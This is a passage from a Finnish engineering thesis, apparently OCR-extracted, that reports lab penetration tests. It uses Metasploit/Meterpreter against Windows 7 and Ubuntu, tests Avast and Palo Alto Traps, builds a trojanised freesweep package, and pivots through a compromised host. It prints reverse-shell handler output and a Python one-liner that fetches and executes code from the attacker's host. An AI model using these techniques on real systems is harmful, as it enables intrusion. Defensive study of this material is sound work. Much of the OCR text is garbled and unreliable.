Tunnel adapter isatap.{0B321A7C-316A-42F4-BF99-ECF8FEEEOFFC}:

Media State . . : Media disconnected
Connection- spec1f1c DNS Sufflx ~

Tunnel adapter Reusable ISATAP Interface {9B292FB1-1804-4C2E-AE59-BAF358AD9349}:

Media State . . : Media disconnected
Connection- Spec1f1c DNS Sufflx -

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Connection-specific DNS Suffix —EE

IPv6 Address. . - - - . . : 2001:0:9d38:6abd:83f:22bf:f58d:cf48
Link-local IPv6 Address e s e 8D S 83T L 2 2b S 8d S cfa8ssla

Default Gateway S S mees R3E e

C:\Users\student>start calc
start calc

C:\Users\student>start notepad
start notepad

C:\Users\student>
Kuva 37. Kalilla avattiin kohteessa laskin, muistio ja tarkastettiin verkkoasetukset komentorivilta.
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Tybasema oli hallussamme ja pystyimme nyt selaamaan sen tietoja lapi. Meterpreterilla
voitiin kdynnistaa aktiivinen sessio taustalle ja avata toinen sessio tai tehd& uusia

hyokkayksia. Tama on havainnollistettu kuvassa 38.

root@kali: ~ S & €
File Edit View Search Terminal Help

T e————

meterpreter > getsystem

priv_elevate getsystem: Operation failed: The environment is incorrect.
following was attempted:

Named Pipe Impersonation (In Memory/Admin)

Named Pipe Impersonation (Dropper/Admin)

Token Duplication (In Memory/Admin)
meterpreter > background

Backgrounding session 1...

exploit( ) > sessiens -i 1

Unknown command: sessiens.

exploit( ) > sessions -i 1

Starting interaction with 1...

meterpreter > pwd
C:\Users\student\Desktop

meterpreter > 1s
C:\Users\student\Desktop

Last modified

100666/ rw-rw-rw- 100993 i 2017-03-30 : s CCNASec Case v4.pdf
100777/ rwXrwxrwx 73802 i 2017-03-30 = - back.exe

100666/ rw-rw-rw- 282 i 2016-06-21 ~ ~ desktop.ini

100666/ rw-rw-rw- 5794 i 2017-03-30 = = exploit3.pdf
100777/ rwXrwx rwx 587217 y £ B 1 2017-03-30 = = partl.exe

100777/ rwXrwxrwx 3000217 il 2017-03-30 2 = part2.exe

meterpreter > execute -T cmd.exe -i -H

Process 1900 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. rights reserved.

Kuva 38. Session voi varastoida, jotta voi operoida toisen session kanssa.

Ensimmainen kokeilu Windows-7-2-tydasemaan oli onnistunut. Haittaohjelma pyori

taustalla, ja hyokkaajana pystyi suorittamaan ohjelmia taustalla (ks. liite 9).

7.8 Avastin testaus haittaohjelmia ajettaessa

Testattiin Avast-virustoruntaohjelman reagointikykya luoduilla haittaohjelmilla. Tarkoi-
tuksena oli havainnollistaa, kuinka hyvin Avast huomaa haittaohjelmat ja mihin toimen-

piteisiin se ryhtyy.

Ensimmaisen haittaohjelman Avast skannasi ja esti kayton. Toimenpiteet on esitetty

kuvassa 39.
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@ avast

Hetki vain,—
t&ma tiedosto vol sisltaa jotaln vahingollista.

CAUsersistudentiDesktopipartl.exe

Teemme nopean 15 sekunnin tarkistuksen
haittachjemien varalta

; e — L
= & e 30. maaliskuuta 2017
’ — torstai
— 3 - S (A
e - o (elc (& EOseEEE g

atin

Kuva 39. Yritys suorittaa haittaohjelma partl. Avast skannaa prosessia.

Toisessa yrityksessa Avast esti haittaohjelman valittomasti ennen tiedoston suoritta-

mista ja poisti ohjelman. Tama on havainnollistettu kuvassa 40.

r@\ Windows cannot access the specified device, path, or file. You may not
P permissions to access the item.

& avast

Objekti
ChUsersistudentiDesktopipart2.exe

Tartunta
Win322:Malware-gen

Prosessi
ChUsersistudentiDesktopipart2.exe

Uhka tunnistettu ja estetty ennen tiedoston suoritusta.

P> Kiynnista Alykas tarkistus

/ ol - k., i Tarkistaa koko tietokoneesi ongelmien varalta
-

Kuva 40. Y\r‘itys._sfloritaa haﬁaohjamaza-?)anz, Svast keskeytti prosessin ja poisti ohjelman.

Avast siirtda havaitut haittaohjelmat karanteenikirjastoon, jossa ohjelmia voidaan tutkia

turvallisemmin. Viruskaranteeni on esitetty kuvassa 41.



45

ﬁ Avast Free Antivirus

@ Avast Free Antivirus

Viruskaranteeni

Nimi Alkuperainen sijainti Viimeisin muutos Siirtoaika Virus

back.exe C:\Users\student\Desktop 1.3.2017 14:32:08 30.3.2017 12:19:10 Win32:SwPatch [Wrm]
back.exe C:\Users\student\Desktop 1.3.2017 14:32:08 30.3.2017 12:19:11 Win32:SwPatch [Wrm]
exploit3.pdf C:\Users\student\Desktop 30.3.2017 6:21:58 30.3.2017 12:19:52 JS:Pdfka-CP [Expl]

x86_powershell_injection.bat  C:\Users\student\Desktop 8.3.2017 7:31:23 30.3.2017 12:17:22 BV:Agent-AUT [Trj]

o o
® af H
S € & A i

Kuva 41. Avastin havaitsemat ohjelmat viruskaranteenissa.

e | O | &

Avast esti myos Kali Linuxilla tehdyt hyokkaykset hyvin. Taméa on havainnollistettu ku-
vassa 42.

meterpreter > background

[*] Backgrounding session 1...

msf exploit( ) > set lhost 10.114.48.205
lhost => 10.114.48.205

msf exploit( ) > set lport 4444

lport => 4444

msf exploit( ) > run exploit

[*] Started reverse TCP handler on 10.114.48.205:4444
Starting the payload handler...

Sending stage (957487 bytes) to 10.114.48.184

L

]
]
]
[*] Meterpreter session 2 opened (10.114.48.205:4444 -> 10.114.48.184:49740) at
2017-03-30 13:33:07 +0300

meterpreter > [*] 10.114.48.183 - Meterpreter session 1 closed. Reason: Died

Kuva 42. Avast keskeytti session.
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Avast suljettiin valiaikaisesti, ja sessio aukesi partl-haittaohjelmalla, vaikka Windows
Defender oli p&alla. Avast kaynnistettiin, ja se katkaisi session valittomasti, kuitenkaan

poistamatta haittaohjelmaa.

7.9 Palo Alto Traps -testaus

Palo Alto Traps on virustorjuntajarjestelmd, joka on kehitetty Windows-
kayttojarjestelmille. Latautuessaan se sijoittaa itsensa Windows-kayttojarjestelman
prosesseihin. Koneilla, joissa Traps on ladattu, tulee olla yhteinen ESM-palvelin eli
keskitetty hallinta (Endpoint Security Manager), joka monitoroi laitteita ja paivittaa lokiin

havainnot haittaohjelmista ja murtautumisyrityksista.

ESM-palvelin on yhteydessa WildFire-pilvipalveluun, joka on Palo Alton oma virtuaali-
nen pilvipalvelu, johon palvelin lahettaa tunnistamattomat ja epailyttavat havaintonsa
haittaohjelmista. Toinen meista oli ollut hiljattain ohjelman kayttéonoton ja hallinnan

koulutuksessa, joten paatimme lisata tydhon osion aiheesta.

Testissa loimme haitallisen .pdf-tiedoston, joka sisélsi useita haittaohjelmia. Haittaoh-
jelmia siséltavd PDF-tiedosto toimi silld periaatteella, ettd jos muuri havaitsee ajettavan

haittaohjelman, seuraavalla kaynnistyksella ajetaan eri haittaohjelma.

@ Traps el @

Traps paloalto
| Events |

Time  [Process  [Modue |
3/23/2017 6:38:19 AM acrord32.exe DLL Security Terminate

Kuva 43. Traps on estanyt DLL-hyokkayksen.
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@ Traps o || B

A : T
le Bin exploitl i raps m pal-o

=) o | Modtea |
Q—l 199 Exploitation policy from Prevention on win07-32 3/23/2017 8:23:12 AM
puthy
g Traps Prevention Alert
Traps has detected a malicious
activity!
Application name: Adobe Reader 2.0
B Application publisher: Adobe Systems Incorporated (verified)
Prevention description: ROP chain utilization attempt detected (Function=Load... 7 L F
Open Log
Check-in now Send Suppo

Kuva 44. Seuraavalla kaynnistykselld ohjelma suoritti ROP-chain-hytkkayksen, jonka Traps
huomasi ja lopetti.

# msfconsole -r listen.rc
Failed to connect to the database: could not connect to server: Connection r
efused

the server running on hos flocalhost™ (::1) and accepting

/IP connections on port ?
could not connec to server: Connection re
VEr running on he . } (127 | and accepting
/IP connections on port 54

Metasploit Framework console.../

Kuva 45. Kali Linuxin ndkymasta ei havaittu muutoksia.

Ipoint Secunty Manager

Dashboard Palicies Monitor Settings trapsadmin | Log out | Help

[ | | & =~ PRows|(25 v <« Page[ 1 Jofl » »
¥ Time Y Computer Y User Y OS Y Agent Y Proce: Y Modul Y

» 54 017, 7:36:57 AM win07-32 PAN\student windows 7 3.41.16709 acrord3Z.e.. DLL Secur.

» W 3/23/2017,6:38:19 AM win07-32 PAN\student Windows 7 3.4.1.16709 acrord32.e... DLL Secur

Kuva 46. Nakyma Endpoint Security Managerista, jonka lokiin tapahtumat tallentuivat.

7.10 Windows Server -palvelinkayttojarjestelma

Windows Server on yrityksille tarkoitettu Microsoftin kehittdméa palvelinkayttojarjestel-

ma, joka yksinkertaistaa pilvipalvelujen, kuten Microsoft Office 365:n ja Windows
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Azuren, integroinnin omaan ymparistoon. Windows Server auttaa hallinnoimaan yrityk-
sen palvelimia ja antaa jarjestelméanvalvojalle mahdollisuuden valvoa palvelinten tilan-
neraportteja ja mahdollisia halytyksia. Kaikki nakymat voidaan nahda yhdesta kayttoik-

kunasta, Server Manager Dashboardista, joka on hallinnan paaikkuna (kuva 47). [39.]

= Server Manager - x
Server Manager * Dashboard - @ | Py Mo Took  view  wep
[ Add Roles and Features Wizard — [o [T
i Local Serv
& All Servers Installation progress SESTINATION szAvER
WE File and SY
e us View installation progress

@ reature installation

Active Directory Domain Services
Group Policy Management
Remote Server Administration Tools
Role Administration Tools
AD DS and AD LDS Tools
Active Directory module for Windows PowerShell =
AD DS Tools
Active Directory Administrative Center

AD DS Snap-Ins and Command-Line Tools

_ You can close this wizard without interrupting running tasks. View task progress or open this
! page again by clicking Notifications in the command bar, and then Task Details.

Export configuration settings

Close

BPA results

[ —

TT =
Kuva 47. AD-Servicen asennus.

Windows -serverille asennettin AD Services (Active Directory), joka on Windows-
toimialueen kayttajatietokanta ja hakemistopalvelu. Tama mahdollistaa keskitetyn re-
surssien jakamisen kayttdjille ja tarjoaa mahdollisuuden hallita ja suojata kayttssa ole-

via verkon resursseja. [17.]

Aktiivihakemisto koostuu toimialueista, joiden tunnuksina voidaan kayttad DNS-nimia.

Active Directoryssa on sertifikaattipalvelu, joka kasittelee sertifikaattien (varmenteiden)
ja tunnisteiden jakoa. Sen avulla hallinta tunnistaa kayttgjien tai palvelimien sertifikaatit
ja varmentaa niitd hallintapalvelimen sertifikaattiin. Tunnistus on osa prosessia, jolla
palvelin varmentaa, ettd kyseleva osapuoli on oikeutettu luottamusalueelle. Mikéli yksi
luottamusalueelle kuuluvista koneista on hyokkaajan hallussa, tama voi halutessaan
hyokata sivuttaissiirtymalld muihin koneisiin hyédyntdmalla koneelle annettua sertifi-

kaattia. Tdma on havainnollistettu kuvissa 48 ja 49.
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Server Manager * Local Server

>

i PROPERTIES

For thesis2-win2012 TASKS ¥

i# Dashboard

i Local Server 7
— Computer name thesis2-win2012 Last installed updates Never
W& All Servers Workgroup WORKGROUP Windows Update Not confi
I—i1 AD DS Last checked for updates Never -
¥ File and Storage Services P
e Is Windows Firewall Public: On Windows Error Reporting Off
Remote management Enabled Customer Experience Improvement Program Not parti
Remote Desktop Enabled IE Enhanced Security Configuration On
NIC Teaming Disabled Time zone (UTC+02:
Ethemet0 IPv4 address assigned by DHCP, 1Pv6 enabled  Product ID 00184-30(
Operating system version Microsoft Windows Server 2012 Standard Processors Intel(R) X¢
Hardware information VMware, Inc. VMware Virtual Platform Installed memory (RAM) 4GB
Total disk space 39.66 GB
<| ] | >
EVENTS
All events | 4 total TASKS ¥
Filter o > @~ v
Server Name D Severity Source Log Date and Time
THESIS2-WIN2012 1076 Warning User32 System 283.2017 13:32:06 ':1

Kuva 48. Nakyma Local Serverista.

Luotiin sallitut yhteydet tydasemien valille. Tama on esitetty kuvassa 49.

® [SMTP Virtual Server #1] Properties | 2 | X | l'l?,l,,,)f,,l
€8 File Action | ‘ |

General | Access | Messages | Delivery | LDAP Routing | Security |

@ |
1 Zj — Access control
& Internet Informatl [
4 '8 THESIS2-WIN
4 & [SMTP Vig | ) -
% Poriia Select which computers may access this virtual server:
€} Cuire j * Only the list below
" All except the list below
Computers:
Access | 1P Address (Mask) / Domain Name
| |&F Granted 10.114.48.183
| |&F Granted 10.114.48.184
&f Granted 10.114.48.185
= Add... Remove I
< m
| Ok || Camcel || Ay || Hep |

Kuva 49. SMTP-palvelimeen yhdistetyt osoitteet.
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Sahkopostipalvelimen (SMTP) asennus Windows Serveriin: Thesis2-win2012 domain,
jolla yhteydet sallittu kaikista koneista. Telnet-yhteys testattiin yhdesta laitteesta, ja

viela tulee tehda sdhkopostiosoitteet jokaista kayttdjaa kohden.

Tutkimme Windows Serverin haavoittuvuuksia ja huomasimme, etta se toimii hyvin
pitkalti kuten tavallinen Windows-kayttojarjestelma, joten voidaan tehdad samat hyok-

kaykset, mikali palomuurille tehdaan tarvittavia avauksia.

7.11 Web Delivery for Linux -hy6kkays

Web Delivery for Linux -hydkkayksen ideana on yrittdd syottdd Python-skripti tybase-
man terminaaliin ja ottaa silla Ubuntu 10-10 haltuun. Ensiksi jouduimme avaamaan

Ubuntun palomuurista portteja (ks. liitteet 12 ja 13).

Nyt voitiin aloittaa hyokkayksen rakentaminen. Ensiksi valittin sopiva exploit
(web_delivery) ja syotettiin IP-osoite 10.114.48.204 ja portti 4444, jota kuunnellaan, el

kerataan tietoa. Hytkkayksen alustus on esitetty kuvissa 50 ja 51.

File View VM
n > B @ & R & @

Applications « Places = Terminal - Wed 13:30

Terminal

File Edit View Search Terminal Help

http://metasploit.pro

> 45% of your time on large engagements with Metasploit Pro
n more on http://rapid7.com/metasploit

me s

iliary - 267 post
r - 8 nops
oit Pro trial: http://r-7.co/trymsp

i1Ise exploit/multi/script/web delivery
oit( ) > set LHOST 10.114.48.204
10.114.48.204
oit( ) > set LPORT 4444

Kuva 50. Hytkkayksen alustaminen.



51

Hybkkayksen asetuksia oli hyva katsoa valilla. Nain tiesimme tehdyista hydkkaysase-

tuksista. Tama on esitetty kuvassa 51.

root@kali: ~ e ® O
File Edit View Search Terminal Help

Module options (exploit/multi/script/web delivery):

Name Cur Setting Required Description

The local host to listen on. This must be an address on the local

port to listen on.
- g e SSL for incoming connections
SSLCert NO th to a custom SSL cert cate (d ul is mly generated)
URIPATH N RI to use for this exploit (d o om)

Name Cur
LHOST 10.114.
LPORT 4444

Exploit target:
Id Name

0 Python

msf exploit(

Kuva 51. Hyokkaysvaihtoehtojen ja asetusten tarkistus.

Hyokkayksen seuraavassa vaiheessa valittiin hyddynnettava kohde, joka on tassa ta-
pauksessa Python. Lopuksi laitettiin haitallinen palvelu paalle. Edella mainitut vaiheet

esitetty kuvassa 52.

) > set target 0

)i ploit
nd job.

- on 10.114.48.204:4444

) [*] Using URL: http://0.0.0.0:8080/cWnc6VIK4rMCl
//10.114.48.204:8080/cWnc6VIK4rMC1

command on the target machine:
urllib2.urlopen('http://10.114.48.204:/cWnc6VIK4rMCl'); exec(r.read());"

Kuva 52. Hyokkayksen aloitus.

Kun kohde syéttaa Python-komennon Ubuntun komentoriville, haitallinen palvelu avaa

yhteyden. Python-komennon syéttaminen on havainnollistettu kuvassa 53.
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ubuntu@ubuntu:~$ sudo python -c¢ "import urllib2; r = urllib2.urlopen('http://10.
114.48.204:4444/cWnc6VIK4rMCl'); exec(r.read());"
Traceback (most recent call last):

File "<string>", line 1, in <module>
TypeError: expected string without null bytes
ubuntu@ubuntu:~$ |

Kuva 53. Python-komennon syéttaminen.

Tama hyokkays keskeytyi kuitenkin tuntemattomasta syysta. Keskeytyminen on esitetty
kuvassa 54. Jos hydkkays olisi mennyt 1api, meilla olisi ollut taysi hallinta kohdekonee-
seen eli Ubuntuun. Syy saattoi olla porteissa, Ubuntun version yhteensopivuudessa
hyokkaykseen tai jossain ihan muussa. Tyon aikana huomattiin Ubuntuun kohdistuvia
ongelmia, minka takia tuloksia tuli kirjattua yllattavan vahan. Linux-ympariston tuomi-

nen mukaan testeihin oli meilla liséna perinteisen Windows-ympaériston rinnalla.

(&) thesisl-kali on l =NRe X
File View VM
mE N P B @ @ R R

Applications « Places = Terminal Wed 13:41

Terminal

Edit View Search Terminal Help

) > set target O
) > exploit
running as background job.

0.114.48.204:4444

URL ttp://0.0.0.0:8080/cWnc6VIK4rMCl
080/cWncbVIK4rMCl

get machine:
- ttp://10.114.48.204:/cWncbV

p ( — = g stage (38474 byt ) to 10.114.48.211
o i rpreter s ion 1 opened (10.114.48.204:4444 -> 10.114.48.211:40217)
at 2017-03-29 :09 +0300
Meterp - S ion 1 is not valid and will be closed
- session 1 closed.
to 10.114.48.211
(10.114.48.204:4444 -> 10.114.48.211:40218)

Meterpr
at 2017-03-2 -
Meterp - session 2 i t valid an

Kuva 54. Hytkkays epéonnistui.

7.12 Binary Linux Trojan -hyokkays

Binary Linux trojan -hydkkayksen ideana on ladata miinaharavapeli (freesweep) ja lisa-

ta siihen skripti, payload ja lopuksi jakaa se eteenpain. Tassa hyokkaystavassa kohde
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Ubuntu 10-10 lataa pelin, ja sen jalkeen se asentaa pelin ja samalla altistaa oman ko-
neensa hyokkaykselle. Hyokkéayksen alustaminen on esitetty kuvissa 55, 56 ja 57. En-

sin ladattiin miinaharavapeli. Lataus on esitetty kuvassa 55.

Kuva 55. Pelin lataus.

Seuraavaksi tehtiin kontrollitiedosto, johon tuli pelin tiedot. Tiedoston sisélté on esitetty

kuvassa 56.

and Amusement

{ubuntu-motu@lists.ubuntu.com)

splay - in Linux i a 2 m, and in

currently in use.

Kuva 56. Kontrollitiedosto.

Taman jalkeen tehtiin asennuksen jalkeinen skripti (Post-installation script). Skripti on

esitetty kuvassa 57.

#1/bin/sh

sudo chmod 2755 Jusr/games/ esweep_scores && Jusr/games/freesweep_scor

Kuva 57. Skripti.

Taman jalkeen tehtiin skriptistd suoritettava ja kaytettin enkooderia (enco-
der/x86/shikata_ga_nai)

Seuraavaksi kopioitiin freesweep-peli uuteen kansioon ( /var/www/ ), ja tamén jalkeen

laitettiin Apache paalle. Tama on esitetty kuvissa 58 ja 59.
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root@kali: ~ e ® ©
File Edit View Search Terminal Help
: il/work/DEBIAN
DEBIAN# mod 755 po

bty

control
4 postinst

DEBIAN

16 etc
usr
var

Kuva 58. Pelin kopiointi www-kansioon.

Taman jalkeen tarkistettiin, etta peli on kopioitunut uuteen kansioon. Tama nahdaan
kuvassa 59.

c/var/www# Ls -1

8 10:14 expl

28 10:27

2 2016 html
8 10:10 share

Kuva 59. Pelin uusi osoite.
Alustusten jalkeen rakennettiin hyokkays Metasploit-ohjelmalla.
Metasploit aloitti reverse tcp -session kasittelijin ja jai odottamaan, ettd kohde alkaa

latamaan tiedostoa Kali Linux -jarjestelman /var/www kansiosta. Freesweep-peliin on

lisatty skripti ja metasploitilla payload. Hytkkays on havainnollistettu kuvassa 60.
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@
File View VM

> & D B @ @

Applications ~ Places ~

root@kali: ~

-BCuUedqJUCRL

temd-private-af8 99f074ff1949835a-colord.service-0ozDge
systemd-private-af8 3 - 99f0747f1949835a-rtkit-daemon.serv
tracker-extract-files.0

vmware-root

www# cd
it/multi/t r; set PAYLOAD linux/X ! eve t LHOST 10.

10.114.48.204:443

443 -> 10.114.48.211:

Kuva 60. Hyokkayksen aloittaminen.

Seuraavaksi kohde yritti ladata pelia, mutta lopputulos jai talla kertaa laihaksi. Peli ei
suostunut latautumaan Ubuntulle. Latauksen tila on esitetty kuvassa 61. Lopuksi peli
asennettaisiin koneelle, jotta haittaohjelma kaynnistyisi. Hydkkayksen onnistuttua vas-
taanottaisimme kohteen komentorivin.

(=3 thesisl-ubuntu-10-10 on

File View VM

- L = | @ T I3 | B2 &2 @

42 Applications Places System ’)
ubuntu®@ubuntu: ~

File Edit View Search Terminal Help

ubuntu@ubuntu:—$ wget http://16.114.48.204:443/ freesweep.deb

--2017-063-29 12:52:21- - http://1©.114.48.204:443/freesweep .deb
Connecting to 10.114.48.204:443... connected.

HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified

Saving to: ~freesweep.deb.3"

[

Kuva 61. Pelin lataaminen kohdekoneelle.
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7.13 Pivoting-tekniikka

Pivoting on tekniikka, joka kayttda haavoittuneen tydaseman jalansijaa voidakseen
liikkua kohteen siséverkossa huomaamattomasti. Jalansijalla tarkoitetaan haltuun otet-
tua tybasemaa, josta on mahdollista liikkua muihin tydasemiin verkossa. Talla tavalla
pystytaan ohittamaan palomuuri, koska hyokkays nayttaisi tulevan siséverkosta. Nain
pystymme hydkkdaamaan samassa sisaverkossa oleviin tydasemiin. Kyseesséa on siis

sivuttaissiirtyma. Hyokkays on esitetty kuvassa 62.

Sisdverkko

|
|
| windows 7-1 windows 7-2
I L | —
I Pivoting .
L ]
|
I Jalansija
|

Ulkowverkko

[
|
|
|
I S=EE=ss=======
[
[
[
[

Fali Linusx

Kuva 62. Sivuttaissiirtyma (Pivoting).

Ensiksi piti hyokata ensimmaiseen koneeseen Win7-1 ja saada otettua se haltuun. Kun
kone on hallussa ja tydasemaan on paasy sisaan, on saatu jalansija koneeseen (Win7-
1). Kaytimme hyodkkaykseen msll 003 ie_css_import (memory corruption exploit) -

komentoa. Hydkkays ja jalansija esitetty on kuvissa 63 ja 64. [31.]
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(%) thesis1-kali on — b
File [View | vm

Applications « Places = Terminal « Tue 18:43 »~ ) O

root@kali: ~
View Search Terminal Help
running as background
TCP

0.0.0.0:8080/KfFCrYg6REwoh3
/10.114.48.204:

uest
DLL
que

-04 18:21:08 +0300
80:49410) p = niti cript ‘'migr e -

to migra
rYg6REwoh3/gener -1491319264.d11"
.114.48.180

sio 2
0.114.48.

Kuva 63. Win7-1:n haltuun ottaminen.

Kone oli hallussamme ja oli saatu jalansija (kuva 64).

@
File View VM
= 1 b & D @ &8
Applications Places = Terminal «
Terminal

Edit View Search Terminal

Information Connection
x86, THESIS1-WIN7-1\student THESIS1-WIN7-1
(10.114.48.180)
x86/win32 THESIS1-WIN7-1\s C THESIS1-WIN7-1 10.114. .204:4444
(10.114.48.180)

interaction with 1...

Loopback Interface 1

Hardware = E : :00:00:00
MTU -

IPv4 Address

IPv4 Netmask

IPv6 Add Sz b

IPv6 N n S R R RS R B AR B B e e e U B G D

: vmxnet3 Ethernet Adapter #2
rdware MAC : 00:50:56:ae:1le:a9
MTU -
IPv4 Address : .114.48.180
IPv4 Netmask : 255.255.255.0
: Te80::fOc7:b6e9:9d

Kuva 64. Jalansija.
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Kun olimme saaneet jalansijan ensimmaiseen kohteeseen (win7-1), voitiin aloittaa si-

saverkon tutkiminen. Aloitimme tutkimisen ARP-skannauksella. Skannaus esitetty ku-

vassa 65.

(5

File View VM

i P &\ B @ 3B B & @

Applications « Places = Terminal « Fri 09:47

Terminal

File Edit View Search Terminal

meterpreter > run arp scanner
Scanning 10.114.48.0/24
9.114.48.1 MAC 00:50:56:ae
.114.48.13 MAC :50:56:ae:
.114.48.12 MAC 00:50:56:a
3.114.48.11 MAC :50:56:¢
0.114.48.27 MAC D:50:56:ae:
.114.48.28 MAC 00:50:56:ae:
.114.48.30 MAC 00:50:56:3

Kuva 65. Kohdeympaéristén ARP-skannaus.

Kun skannaus oli suoritettu, valittiin potentiaalisia kohteita taulukosta, tasséa tapaukses-
sa osoitteita, jotka olivat lahelld jalansijaa eli 10.114.48.180-osoitetta. Potentiaaliset

kohteet on esitetty kuvassa 66.

10.114.48.180 MAC 00:50:56:
10.114.48.183 MAC 00:50:56:
10.114.48.181 MAC 00:50:56:
10.114.48.184 MAC 00:50:56:

Kuva 66. Potentiaalisia kohteita.

Taman jalkeen asetettiin sessio taustalle, jotta saatiin Metasploit takaisin kayttdéon (ku-

va 67). Metasploitilla voidaan tehd& uusia muokkauksia ja lisdyksia hyokkaykseen.

meterpreter > background

[*] Backgrounding session 1l...

Kuva 67. Sessio asetettiin taustalle.
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Luotiin uusi reitti kohteeseen. Nain saatiin hydkkaajan liikkenndinti nayttamaan silta,
kuin se tulisi siséaverkosta ja nain ollen kierrettyd palomuuri. Reitin lisdys on esitetty

kuvassa 68.

msf exploit ) > route add 10.114.48.181 255.255.255.0 1

[*] Route added

Kuva 68. Reitin lisdaminen.

Tarkistettiin viel&, etté reitti on varmasti oikea (kuva 69).

msTt exploit( ] - route print

Kuva 69. Reitti lisatty.

N&ain olimme saaneet luotua reitin ja voimme hyokata toiseen koneeseen. Toistettiin
kuvan 63 hytkkays uudestaan toiseen tybasemaan. Tarkasteltiin myods, ettd molemmat

sessiot ovat aktiivisia (kuva 70).

Information Connection

THESISl-WIF;W- ie SIS1-WIN7- 10.114.48.204:4444 -> 10.114.48.180:
THESIS1-WIN7-1\student @ SIS1-WIN7-1 10.114.48.204:4444 -> 10.114.48
THESIS1-WIN7-2\student @ THESIS1-WIN7-2 10.114.48.204:4444 -> 10.114.48.

THESIS1-WIN7-2 @ THESIS1-WIN7-2 10.114.48.204:4444 -> 10.114.48.181:

msf exploit( I |

Kuva 70. Aktiiviset Meterpreter-sessiot.

Nyt pystyimme hyokk&&maéan, vaikka palomuuri on paalla, koska hydkkays nayttaisi
tulevan sisaverkosta. Ohitimme néin palomuurin. Palomuurin tila on havainnollistettu

kuvassa 71.
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(]
File View VM
1 =) O3 | e > @

= = =
()& ~[@P » Control Panel » System and Security » Windows Firewall ~ (<2 - =
€ -
Control Panel Home i i
Help protect your computer with Windows Firewall
Allow a program or feature Windows Firewall can help prevent hackers or malicious software from gaining access to your
through Windows Firewall computer through the Internet or a network.
¥ Change notification settings How does a firewall help protect my computer
' Turn Windows Firewall on or What are network location
off
B e e aracits - &2 Home or work (private) networks Not Connected (~
® Advanced settings Networks at home or work where you know and trust the people and devices on the network
Troubleshoot my network
Windows Firewall state: on
Incoming connections: Block all connections to programs that are not
on the list of allowed programs
Active home or work (private) networks: None
Notification state: Notify me when Windows Firewall blocks a new
program
- @ Public networks Connected (~
Networks in public places such as airports or coffee shops
Windows Firewall state: on
= - Incoming connections: Block all connections to programs that are not
€ Website restore error - Windows Internet Explorer P | e | =-5< ]
e ) | & | res://ieframe.dilVacr_error.htm®, http://10.114.48.204:8080 ~ | 3 | >< | | Bing o -
Favorites 25 2] Suggested Sites ~ ] Web Slice Gallery ~
&S Website restore error - B~ Yl deh ~ Page~ Safety~ Tools~ &~

8 We were unable to return you to the page you were viewing

> | S e

<
3]

Kuva 71. Palomuurin tila toisessa tydasemassa (Win7-2).

Avattiin avoin sessio toisesta tydasemasta ja kaynnistettin Meterpreter. Varmistettiin
viela kohteen tiedot ja avattiin komentorivi kohdekoneesta. Onnistunut hytkkays on
esitetty kuvissa 72, 73 ja 74.

(5) thesis1-kali on - X
File View VM
[~ IV W B2 @ @
Applications v Places v [ Terminal Tue 18:33 fiv 20 O~
root@kali: ~
File Edit View Search Terminal Help

> sessions -i
tarting interaction with 3...

> ipconfig

ack Interface 1

MTU
IPv4 Address

Name
Hardw
MTU

91b6:12fe -
LB i 0 1 B B A 7

: Microsoft ISATAP Adapter
PO:00:00:00

Kuva 72. Onnistunut murtautuminen toiseen tydasemaan.
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Katsottiin vield varmuuden vuoksi toisella komennolla kohdekoneen nimi (kuva 73).

meterpreter > getuid
e:

Server usernam THESIS1-WIN7-2\student

Kuva 73. Varmistus kohdetybasemasta.

Lopuksi avattiin tydaseman komentorivi, jonka avulla voitiin likkua tydasemassa va-

paasti ja availla eri sovelluksia. Komentorivin avaaminen on esitetty kuvassa 74.

mete ter > execute -f cmd.exe -i -H

/ A[Version 6.1.7600]

ydow
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\student\Desktop=}}

Kuva 74. Avataan kohdetydasemassa komentorivi.

Olimme nyt murtautuneet molempiin testitydasemiin ja aloitimme liikkkumisen tydase-
missa. Ensimmaisena katsoimme tybaseman jarjestelmatiedot. Liikkuminen tybase-
massa on esitetty kuvassa 75. Taman jalkeen avasimme muutamia sovelluksia testiksi,
muun muassa muistion ja laskimen. Selailimme myo6s tydaseman tiedostoja ja proses-

seja.
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(% thesis1-kali on =S X

File View VM

Il > 8@ @R @ R

Applications « Places v [ Terminal « Tue 18:41 20 O~
root@kali: ~

File Edit View Search Terminal Help
2 < >systeminfo

THESIS1-WIN7-2
Microsoft Windows 7 Enterprise

AMK
3-5000002-85376
L a ate: 22.2. . 108E1:12

tem Boot Tim 4.4.26 17 385:55

~2800 Mhz

yiv, Riga, Sofia, Tallinn, Vilnius
26048
16492
%095 M

Logon ar:
Hotfix(s) N/A
Network Card(s): 1 NIC(s) Ir -
[01]: >t Adapter

Kuva 75. Kohdetybasemassa likkuminen (jéarjestelmétiedot).

Taman jalkeen seuraava vaihe olisi kayttdjaoikeuksien nostaminen jarjestelméanvalvo-
jan tasolle. Jarjestelmanvalvojan oikeuksilla pystyisimme tekemdan huomattavasti

enemman asioita. Projektin aikataulun vuoksi tdma vaihe jai tekematta.
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8 Yhteenveto

Insindoritydn tarkoituksena oli testata tydasemien tietoturvatasoa kayttaen eri tyokaluja
ja hyokkaysmenetelmia. Tyon tavoitteena oli murtautua ty6asemiin ja raportoida, kuin-
ka ja mista paastiin sisdan jarjestelmaén. Lahtokohtaisesti meilla ei ollut aikaisempaa
kokemusta penetraatiotestauksesta eika Kali Linux -jarjestelmastd. Projektissa meni

suurin osa ajasta tiedon hankkimiseen ja tytkalujen kayton opetteluun.

Alustava suunnitelma oli hyokata ensin Windows-jarjestelmiin ja sen jalkeen Linux-
jarjestelmiin. Lopuksi oli tarkoitus suorittaa mittava operaatio, jossa olisi tullut myos

Windows-palvelin mukaan.

Projektin edetessa huomattiin, kuinka haastavaa oli tunkeutua eri tydasemiin, joissa oli
suojaukset paalla. Tybasemat, joissa ei ollut aivan kaikkia suojauksia p&alld, olivat
huomattavasti helpommin murrettavissa. Projektin edetesséd huomattiin, kuinka tarkeda
on pitda kaikki jarjestelmén turvallisuuden kannalta vaaditut osat péaivitettying, kuten

palomuurit, virustorjuntaohjelmat ja internetselaimet.

Tavoitteisiin paastiin suurimmassa osassa, mutta aika oli projektia vastaan. Emme eh-
tineet toteuttaa kaikkia haluttuja hyokkayksia tai testata kaikkia tytkaluja. Projektista
